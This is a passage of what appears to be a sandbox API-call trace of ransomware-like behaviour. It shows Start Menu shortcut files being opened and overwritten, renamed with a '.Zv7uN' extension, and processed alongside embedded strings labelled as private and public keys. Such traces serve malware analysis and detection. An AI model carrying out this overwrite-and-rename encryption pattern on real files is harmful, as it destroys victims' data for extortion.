upgrade.lnk")) returned 0x20 [0130.807] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk", dwFileAttributes=0x80) returned 1 [0130.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0130.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0130.826] GetCurrentThreadId () returned 0xa30 [0130.826] GetCurrentThreadId () returned 0xa30 [0130.826] GetCurrentThreadId () returned 0xa30 [0130.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0130.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0130.827] GetCurrentThreadId () returned 0xa30 [0130.827] GetCurrentThreadId () returned 0xa30 [0130.827] GetCurrentThreadId () returned 0xa30 [0130.828] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.088] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0131.088] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.088] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x548 [0131.088] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.089] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x548, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x548, lpOverlapped=0x0) returned 1 [0131.092] CloseHandle (hObject=0x1ec) returned 1 [0131.093] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.095] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x548, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x548, lpOverlapped=0x0) returned 1 [0131.097] CloseHandle (hObject=0x1ec) returned 1 [0131.097] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk.zv7un")) returned 1 [0131.099] GetCurrentThreadId () returned 0xa30 [0131.099] GetCurrentThreadId () returned 0xa30 [0131.099] GetCurrentThreadId () returned 0xa30 [0131.099] GetCurrentThreadId () returned 0xa30 [0131.099] GetCurrentThreadId () returned 0xa30 [0131.099] GetCurrentThreadId () returned 0xa30 [0131.099] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows DVD Maker.lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0131.099] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0131.099] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0131.099] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e)) returned 1 [0131.100] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk")) returned 0x20 [0131.100] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk", dwFileAttributes=0x80) returned 1 [0131.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, 